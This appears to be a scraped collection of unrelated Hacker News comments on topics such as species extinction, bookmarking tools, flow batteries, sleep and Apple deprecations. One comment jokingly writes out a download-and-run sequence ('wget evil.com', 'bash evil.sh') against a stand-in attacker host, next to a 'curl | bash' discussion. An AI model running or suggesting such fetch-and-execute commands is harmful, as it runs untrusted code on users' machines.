skysight-inc/HackerNews huggingface dataset:
Yea, I don't particularly have anything for or against selfies, but its kind of bizarre to look around nightspots in Vietnam and notice literally every other person taking selfies. Far more than in similar places in the States.

Though to be fair "X is true in the US" isn't really saying it isn't true elsewhere. Just that the writer is familiar with the US, and isn't making a statement one way or another about places they aren't familiar with.

(Though in anycase, the article isn't really about selfies, despite the title)
> that unbalancing them disturbs our interests

I've talked to farmers on trains, I've lived in cities, I've worked in mines. This doesn't reflect my experiences, we have shredded the natural environment to our benefit in all those places. Farms are a long way from a natural environment, the modern farming process is awash with chemicals and such. Lab grown meat is an exciting possibility. Our success as a species have come through striving to transcend the limits of nature.

Nearly all humans are urbanised. Urban environments are as far from natural ones as we can reasonably make it. There is almost no fauna larger than a dog, flora is controlled. When given the choice, as a mass, we choose to be as far from nature as possible and visit it for short and very controlled periods of time.

The moral aspect I suppose we shall agree to disagree.

Are you sure the cadmium isn't going to be used for solar power? Or that the 'creative means' that you would like to see won't benefit from it when the science comes in?
wget evil.com
less evil.sh
bash evil.sh
I presumed someone would beat me to this.
> No, I can't. That does not work reliably.

In all your given examples, it does.

> Frankly, even Electron applications are better than making web pages that behave incorrectly.

You know that 90% of Electron apps do not have any native function calls and are just wrappers on top of a web-app?

I just don't understand what you are criticizing anymore.
This kind of attack is catastrophic in cryptography.
The main reason to use `curl | bash` is because it's installed almost everywhere. Everything else can be bootstrapped from that.

If there was a standard `curlbash <URL> <SHA256>` program that was installed everywhere it would allow to work around all of these issues.
Thanks for the answers. Strange that different EU countries seem to regulate differently. And then I guess I can legally order it online from Italy, France, Spain or Hungary, and get it delivered to Germany. But not buy it locally...
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"Any sufficiently complicated message passing system contains an ad-hoc, informally-specified, bug-ridden, slow implementation of half of tuple spaces."
If so many people find parinfer valuable, maybe they should consider donating some money to Shaun.
Amazon is problematic simply because they refuse to let you filter searches, and stop the ridiculous co-mingling practices.

Newegg so far hasn't done either of those things, and I simply select "Sold by Newegg" as the only options I'll consider when looking.

I also get annoyed at every damn e-store now being a giant import of some silly bazaar database - but at least Newegg still gives you the ability to ignore it.
I open them in a new tab and come back to them when ready. This ensures I’ll actually read them relatively soon. Bookmarks would be forgotten about by me and some more involved method seems like overkill.
Maybe we need a new word, without all the baggage. Something that means 'taking care of all the people with our huge potential for automated productivity' without the historical baggage of taxes and repression of the workers (who are becoming irrelevant).
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1. Both Pinboard and Pocket as my main bookmarklet storage. They're just storage but not necessary to read them all.

2. Instapaper and emailthis as my "to read" tools. Instapaper is very nice for article readability (better than pocket) and emailthis as article storage, or sometimes needs to send out to friends or colleagues.

3. Zotero as main research or pdf keeper.

4. I don't use Evernote now because I already bumped into their 100,000 limitation three years ago.

5. Please remember to use "star" or "Love" to pin your important bookmarks. It'll help someday.
Fixed or floating?
It's easy: you, yes you, will starve. It's that simple.

Biosphere is an intricately interconnected system, largely self-balancing and self-correcting. If you take humans out of the equation, that is.

A bee pollinates a flower that feeds a rabbit that feeds a fox that feeds a worm that feeds a flower for the bee to pollinate. Remove one factor and the whole thing collapses. "All for want of a nail". It's slightly more complicated than that, but unfortunately not much.

Once you've overfished to extinction and created desserts out of forests, there's not much time that you can keep your cows alive or salmon farms running.
Evolving and Generating Floorplans by Genetic/NeuroEvolution algorithm
Pakistan elects former cricketer, supporter of blasphemy laws
...except making new kinds of fish, or making meat in factories, or bioengineering crops that don't need bees.
Books : amazon wishlist
Internet content : bookmark
Anything else : gtd personnal archive system

Little trick : telegram has a "saved messages" chat where you can write messages, including photos, audio and video. It works offline, automatically synchronize when you get online with all telegram instances.

You can put a direct shorcut to it on your android home screen, meaning you have a synchronized multimedia in-basket system between all your devices. I just dump all my random thougths or todo in it to sort it out the next morning.

So somebody talk about something i might wanna read ? I just take 2s to dumo it into the chat and forget about it. Later, i review it, assess if i really want to read it, and if yes, i put it in the proper list.
If you are describing it as 'another app', you are right, those people are better off as quarter mil earners.

I would guess these types are more ambitious as that. Those that make a serious difference in the world cant do it as a quarter mil a year earner.

Fair point on later career experience, but I feel like either situation will teach you immense knowledge.
I can easily imagine a series of changes that ultimately turns Twitter into something like Medium.
This doesn't necessarily apply to all species on the list, but generally changing the existing balance in the environment is a bad idea.

For the example of the beetle:

> “Without burying beetles, we’d be knee-deep in dead and decaying carcasses,”

Which is probably not strictly true, because ants and other insects would likely take over a lot of that. But then you're artificially expanding one population over the other. This affects the food chain for larger animals. If you hit the wrong combination of natural incentives, one day your huge farms (which due to other incentives are close to monoculture) get eaten by insects pushed out of their previous environment. And they won't care about the human endeavour or how special we feel about ourselves.

We already proved how small changes impact everything. Bringing a few rabbits to Australia resulted in a huge population causing other species dying, vegetation for grazing livestock reduced, ground erosion, etc. Same could happen if a predator regulating some species dies. But the chain could start with some beetle.
I don't think putting constraints on when and where sexual propositioning is the right way.

The root of the problem is the fear of losing one's job. I think what should happen is that anyone can say "no" to an advance without fear of repercussions, not forming moral laws for where you can/can't form romantic relationships.
Do you know of any of those cross plaform GUI tools that work in the web browser? Targeting Windows/Mac/Linux is easy but outside of JS I have seen no way that you can write one application that works on Web, Windows/Mac/Linux, Android and iOS
Because it makes the activity much cheaper. The cheaper it becomes to track everyone, the more tempting it becomes to not only track criminals but also any other groups of interests that haven't committed any crimes.
How does this affect the theory of evolution?

In the 90s in high school, we were taught that random mutations create diversity among a species and then natural selection chose the winning mutations. Do they still teach that?

Is behavior and environment generally accepted to be a factor in mutations nowadays?

The random thing always struck me as inefficient.

Edit for clarity.
I assume they just threw it in there as a joke
Like most redox/flow batteries they have a very big shortcoming and that is a very limited operating temp range for vanadium it’s 10-40c that means they’ll need environmental controls installed in almost every case.
The editor was used at David Beazley's talk [1] "Die Threads" at the EuroPython 2018 by live coding how threading in Python could look like [2].

[1]: https://youtu.be/FsvmT2Ir7B8?t=26m

[2]: https://github.com/dabeaz/thredo
Newsblur. You put the HN RSS in its feeds, and you have a folder for saving stories and/or tagging them.
An economic mandate could be triggered by an imperative to balance climate-control costs with passive home production systems.
I'm never bothered by iTerm2 being too slow or using too much CPU. Using transparency for my tmux profile makes it easier to tell whether the tab I've switched to is a local or remote session. Seeing coding ligatures makes me happy.

Why is the thing I don't notice objectively more important than my convenience and happiness?
Oh, please. If your educated, English speaking, healthy, native born fellow can’t compete for jobs with an Honduran refugee that can barely spells his name; the problem might not be with the migrant to start with.
> while easing off on the consumerism

In order to make this work, we need a different metric reflecting the performance of our economy.
The 26 cent figure for a kWh of storage must be the cost per cycle, and assuming it gets thousands of cycles. 1 kWh of Li-ion battery capacity is orders of magnitude more expensive than 26 cents.
I have cut out sugar and caffeine for dietary reasons and my sleep schedule did not improve at all. I tried those red shift apps and they did not change my sleep schedule. The last few weeks I was not working on my computer late at night and got tired at a reasonable time. Now that I am back working on my side project, having interesting problems to solve (one more feature before bed!) and the bright screen, I am starting to stay up late again.

I notice when I do everything right I don't have a problem waking up before 8 hours. Normally I shoot for 8:30 and have trouble going to sleep and getting up. Also when I am in a good sleep schedule I sometimes wake up in the middle of the night, use the restroom, meditate if I'm awake enough, then go back to sleep.

I am sad to say that with most of the other factors controlled, bright screens are the likely cause of my sleep issues. This is hard for me because screen is life.
You need a license to operate a car. And insurance.
Author here, feedback welcome on the error message format.
Nor could the photo caption writer resist an even better pun:

"For sperm, there’s a vas deferens between start and finish [...]"

Both are good though.
Cost?

The setup you described would be really expensive and cumbersome compared to people submitting their own photos, assuming of course you can apply for a passport by post or online and don't have to go to an office with an appointment anyway, in which case it may make some sense even if it only increases the quality of photos by a few percent -- to be honest I'd be skeptical that the improvement would be more than this, the parameters for self taken photos are rather strict after all, such that it's quite hard to take photo that 'doesn't look like you' because of light, hair, makeup etc and have it be accepted.
Your dream is reality! Gnu Cobol source translates to C and compiles that with the system c compiler. The c looks like some sort of bizarre assembler, so there's that.
They don’t operate below 10c or above 40c due to their chemistry so unless your location has a very temperate climate 24/7/365 the energy density is the least of your worries.
Actually they make it super easy to say 'no to all tracking' which is very nice. Good for them.
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I'm supporting George Nachman and 3Blue1brown. Who are you supporting? Also which other patreons should we support?
I use Firefox everywhere.

When using phone, during commute to/from the job, I send links to desktop using Firefox's built in feature.

When using desktop at the job, I read articles instantly or send them to desktop at home.

At desktop at home I have Panorama View extension [1] to avoid tab clutter.

I plan to install Wallabag [2] on my server to have place to categorize and store already read articles.

[1] https://addons.mozilla.org/pl/firefox/addon/panorama-view/
[2] https://wallabag.org/
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Sounds like you're on the do not fly list. A friend of mine got added because his honeymoon trip included a few African and middle east countries. I think you can petition to get yourself off of it.
This is the whole point: just specify the version before the change, and it won't bother you.
The Honduran will be cheaper, and there's no competing with that for many labor jobs. Which are disappearing, which creates the problem.

Labor a shrinking market demand and a growing supply, and we're not going to fix that.
Li-ion generally needs HVAC too, and if you only need HVAC at 104F that's not too substantial a cost for southern (US) solar available regions.
The answer is simple, the rate of change is too rapid for any species to evolve soon enough or cope.

For e.g. lets consider hunting or poaching, if a species has a population of a few thousands, and even if we kill a handful a day, we will wipe out every one of the species in a few months. And, sure, you might argue a species I never knew existed went extinct, why do I care? Well, simply because the at the this high rate of change, this is equivalent to simply eliminating a species from the ecology overnight, and that has consequences in food chains, ecological balances and frankly, consequences that we can't completely foresee.

Correct me if I am wrong here, but since you invoke a corporation example, protecting endangered species is like anti-trust laws. One species/company has dominance, power and greed, but we make laws to level the playing field for the currently weaker/smaller species/companies, which in turn benefits all ecology/consumers/markets better.
Where do you think that new kind of fish would come from if not from finding and adapting exicting genetic materials? We don't even have proper understanding of how our body works and we have been looking at it for a long time.
We are naive to think we can invent ourselves out of a vacuum. In all likelihood the current progress of humanity is leading us to a local minimum.
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I’ve tried using it, but its just not that great. The UI is pretty terrible and its really hard to unblock needed sites.
You’re violating the rules of HN.
What if I have 6 chome windows each with 10-30 tabs?
There was an episode on planet money about this. https://www.npr.org/sections/money/2018/06/15/620298266/epis...
I get most of my articles by Feedly and save them there if they are short or time relevant like news, but I use Pocket for any articles which are longer and more in-depth.
> The take-away from that sounds as if you found a sleeping-mask helpful, but there's not much evidence that melatonin had any effect.

How can you reasonably conclude anything from your position, having only read that short comment? They have all the context and data and came to their conclusion. It might or might not be correct, but you're in no place to refute them on the topic of what has helped them personally.
CloudFlare uses lava lamps as a part of a random number generator
That'll work for things like insects, but there's a good chance an elephant raised without its tribe won't be the same sort of creature.
Just a few deficiencies that I found:

1. Jisho can't really do conjugations. It only says "X could possibly be an inflection of Y with these forms" based on the ending of the verb. For example 邪推してしまう becomes

邪推してしまう could be an inflection of 邪推する, with these forms: Te-form. It is a connective form of the verb, usually called the gerund.

As you can see it only saw "邪推して" and ignored all the rest. ichi.moe always fully parses each conjugation.

2. Jisho can't handle when words are spelled in kana, unless the word is specifically marked as "usually kana". For example when parsing a sentence "ヤバそうなはなしを聞いた", the word "ヤバそう" is not recognized at all, and "なはなし" is parsed as "なは"+"なし". ichi.moe can often handle such spellings.

3. It splits expressions like "いざとなったら" in "いざとなったら勇気が無くなった" (despite the word obviously being present in their dictionary) and the meaning of the expression can be hard to guess from the components.

Considering their segmenter apparently last updated in 2013 there's little hope this will ever improve.
You'll likely cut yourself a few times at beginning as you learn the technique to hit the contours of your face. That was probably true with Gilette at beginning though right? You can buy a thing called a styptic pencil to stop bleeding. They're great, and super cheap ($1? something like that). I have a few in various toiletry bags. I cut myself MAYBE once every few hundred shaves and it was usually a bump I missed on the back of my head because I don't do it with a mirror.

The typical technique is with grain, against grain, cross grain for whichever direction the hair is flowing, but I usually stop after the second one because it's smooth enough.
They can't just "shut off the dam at noon" because of all the downstream users, a dry river bed isn't much of a tourist attraction.
The upper-case ß is not in common use, though. If I'm not mistaken, it's only use is correctly reproducing names in official documents that write a name in all-caps.

In common usage, when mapping to upper case, the lower-case ß gets mapped to double S (e.g. "Straße" -> "STRASSE"), which I guess is another fun edge case for Unicode implementations to cover.
Verizon is listed as Azure reseller? What happen to their Edgecast?

I wish someone would resell Limestone.

I also wish someone in the industry could explain why transfer hasn't gotten cheaper over the years, especially from the big three. Why hasn't other challenged them? Or why lastly managed to gain more customers while being more expensive than those big three.
With recent releases, Apple has been breaking things every year. They remove support for Obj-C GC, 32bit apps, Open GL, they limit Apple Script, they make it hard to run unsigned code, make it harder to run certain kinds of apps, etc.

Each deprecation on its own is understandable, and probably makes sense when the goal is a modern, safer OS.

But when macOS is not your main target market, at some point it doesn't pay off anymore to try to keep up with the annual technology changes. If you have a big code base, those yearly modernisations are a lot of effort.

And Apple doesn't make the impression that they care about things they break. I've filed a lot of bug reports with Apple for regressions, but if it's not a mainstream issue they just won't fix it. If you're lucky, you'll get a reply saying that they don't support your use case anymore.

So they just break some stuff, and app developers need to find workarounds.

I really understand if at some point the developer says, this isn't worth it, we'll just focus on the more profitable platform.

At the price range of Autodesk, buying a new PC to run the software isn't really a big issue...
Do they actually not use cookies though? Someone should look into all these consent pop ups and if they actually effect anything.
Agreed, I was hoping of a visualization of travel flow, infrastructure (logistics, grid, plumbing, ...), evolution of districts or something in that vain.

Logic is the wrong term here.
It's not as hard as you're making out I think. If people have access to Facebook, they have access to other websites and sources of information to crosscheck any fake news.
I use a text file named "read". I store links as a list. When I have read them and it was worth storing I move it to a subsection called read and write notes or copy content if necessary. It looks somewhat like this:

# To Read
- [ ] [Ask HN: How do you keep track of articles you want to read?](https://news.ycombinator.com/item?id=17637835)

# Read
- [x] [why children aren’t behaving and what you can do about it](https://www.npr.org/sections/ed/2018/06/02/611082566/why-children-arent-behaving-and-what-you-can-do-about-it)
This is a short interview with the author of the book “The Good News About Bad Behavior“. It’s interesting how the author talks about disciplining kids.

The good thing about plain text is you can create any organizing method you like. If you want tags just create them :) If an article was useless I remove it. It uses basic github flavoured markdown format that I can render if I want to.

Someday I plan to automate it using a firefox plugin.
yeah, like, shortening a secret key by 15 bits per hour would save a looot of brute force...
Not all uses are equal. Are we NOT going to build something valuable because the output of a few mines are missing? I think the price of the material would go up, some of the least economically valuable things might not get built ... or we'd figure out how to build things more efficiently.

I'd love to see estimates for how significant the price impacts are of the ESA for key raw materials. I'd be surprised if it is truly significant on a global scale.
That is mischaracterising what I said in a very specific way.

Humans are different from animals - not in some intrinsic way, but because you and I are humans and our success is more important than some animal's success.

I'm saying that letting species go extinct is critically different from "we can't stop people from dying eventually, so it doesn't matter if I murder someone" because no humans are involved. That is the distinction that I am comfortable with.

If a human is inconveniencing progress, then they should be treated with respect and dignity. If an animal is inconveniencing progress, it's wellbeing isn't especially important.
> I think probably people actually have good intentions here.

Everyone thinks that their own intentions are good.
Mostly agreed. However, your last bit misses the point:

> the parameters for self taken photos are rather strict after all, such that it's quite hard to take photo that 'doesn't look like you' because of light, hair, makeup etc and have it be accepted.

The point there isn't to control for lighting conditions, but to make it physically impossible for the photo in the passport to be of someone who didn't bring the application in.
Thanks! Looks neat, will try that one out.
I played Texas hold'em last week, and all of us hadn't played it in multiple years. It was pretty hilarious since we started from the assumption that "this ain't so complicated, we've done it before", but then debated for most of the time how blinds work.
Thank you so much for your insightful and educational response.
Off-topic: Why is everyone adopting the term fake news, thus leaving a linguistic legacy of that illiterate mafiosi? He obviously used that neologism due to his limited vocabulary, and popularized it further as a buzzword of his campaign.